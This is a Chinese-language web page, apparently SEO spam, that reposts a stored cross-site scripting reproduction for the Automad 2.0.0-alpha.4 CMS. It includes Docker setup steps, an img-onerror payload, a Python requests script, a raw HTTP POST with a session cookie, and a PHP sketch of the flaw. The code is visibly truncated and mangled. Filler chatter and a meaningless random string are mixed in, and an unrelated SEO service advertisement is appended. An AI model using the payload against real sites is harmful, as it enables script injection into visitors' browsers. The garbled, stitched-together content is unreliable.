96SEO 2026-06-04 23:02 0
本项目为漏洞分析文档,无需安装额外软件。但若要复现漏洞,需满足以下环境要求:
咱得有个合适的环境,哈哈,你懂的。

使用Docker构建并运行:
docker build -t automad:2.0.0-alpha.4 .docker run -p 80:80 automad:2.0.0-alpha.4
访问 http://localhost 完成Automad的初始安装配置,并创建管理员账户。
说实话,这个步骤挺简单的,不就是安装个Automad嘛。
漏洞复现步骤登录后台使用管理员账户登录,访问 http://localhost/dashboard/home。
这个步骤的关键在于,你得有个管理员账户,害,不难吧。
编辑首页在仪表盘中选择编辑默认的“Welcome”页面。
定位内容区块导航至 http://localhost/dashboard/page?url=%2F§ion=text,编辑名为 Main 的区块。
注入XSS载荷在文本编辑区域输入以下载荷:<img src=x onerror=alert>
咱就是说这个载荷hen经典,你懂的。
构造恶意请求
// 恶意载荷const xssPayload = '<img src=x onerror=alert>';// 注入到页面内容的JSON结构中const maliciousData = { "data": { "+main": { "blocks": } }, "url": "/"};
import requests# 目标URL和Cookieurl = "http://localhost/_api/page/data"cookies = { "Automad-8c069df52082beee3c95ca17836fb8e2": "d6ef49301b4eb159fbcb392e5137f6cb"}# 构造multipart/form-data请求files = { "__csrf__": , "__json__": >"}}]},"url":"/"}}')}response = requests.postprint
// Automad中处理页面数据存储的简化逻辑$jsonInput = $_POST;$pageData = json_decode;// 未对用户输入的HTML内容进行充分的过滤或转义$content = $pageData;// 存储到文件或数据库savePageContent;// 前端渲染时直接输出,导致XSSecho $content;
6HFtX5dABrKlqXeO5PUv/2CeWfjxRzGcbKwZW03RE0axryGu0rTYkQimlZuBGv7l,这串字符kan起来挺神秘的,你说是不是?
实际攻击演示保存并触发保存页面修改,随后访问首页 http://localhost/,浏览器将弹出 alert 对话框。
POST /_api/page/data HTTP/1.1Host: localhostContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryzHmXQBdtZsTYQYCvCookie: Automad-8c069df52082beee3c95ca17836fb8e2=d6ef49301b4eb159fbcb392e5137f6cb------WebKitFormBoundaryzHmXQBdtZsTYQYCvContent-Disposition: form-data; name="__json__"{"data":{"+main":{"blocks":}},"url":"/"}------WebKitFormBoundaryzHmXQBdtZsTYQYCv--
HTTP/1.1 200 OKContent-Type: application/json; charset=utf-8Content-Length: 43{"code":200,"time":1643723901}
访问首页 http://localhost/,若弹出 alert 对话框,则表示XSS漏洞成功触发。
git clone https://github.com/marcantondahmen/automad.gitcd automadgit checkout 2.0.0-alpha.4
这是一个针对 Automad 2.0.0-alpha.4 版本的内容管理系统的安全漏洞利用项目。 Automad 是一款基于文件的轻量级 CMS,而此项目揭示了该版本中存在的一个严重安全缺陷——存储型跨站脚本漏洞 。 攻击者可利用该漏洞向模板主体中注入恶意 JavaScript 代码,这些代码会永久存储在服务器上,并在任何访问受影响页面的用户浏览器中执行。
作为专业的SEO优化服务提供商,我们致力于通过科学、系统的搜索引擎优化策略,帮助企业在百度、Google等搜索引擎中获得更高的排名和流量。我们的服务涵盖网站结构优化、内容优化、技术SEO和链接建设等多个维度。
| 服务项目 | 基础套餐 | 标准套餐 | 高级定制 |
|---|---|---|---|
| 关键词优化数量 | 10-20个核心词 | 30-50个核心词+长尾词 | 80-150个全方位覆盖 |
| 内容优化 | 基础页面优化 | 全站内容优化+每月5篇原创 | 个性化内容策略+每月15篇原创 |
| 技术SEO | 基本技术检查 | 全面技术优化+移动适配 | 深度技术重构+性能优化 |
| 外链建设 | 每月5-10条 | 每月20-30条高质量外链 | 每月50+条多渠道外链 |
| 数据报告 | 月度基础报告 | 双周详细报告+分析 | 每周深度报告+策略调整 |
| 效果保障 | 3-6个月见效 | 2-4个月见效 | 1-3个月快速见效 |
我们的SEO优化服务遵循科学严谨的流程,确保每一步都基于数据分析和行业最佳实践:
全面检测网站技术问题、内容质量、竞争对手情况,制定个性化优化方案。
基于用户搜索意图和商业目标,制定全面的关键词矩阵和布局策略。
解决网站技术问题,优化网站结构,提升页面速度和移动端体验。
创作高质量原创内容,优化现有页面,建立内容更新机制。
获取高质量外部链接,建立品牌在线影响力,提升网站权威度。
持续监控排名、流量和转化数据,根据效果调整优化策略。
基于我们服务的客户数据统计,平均优化效果如下:
我们坚信,真正的SEO优化不仅仅是追求排名,而是通过提供优质内容、优化用户体验、建立网站权威,最终实现可持续的业务增长。我们的目标是与客户建立长期合作关系,共同成长。
Demand feedback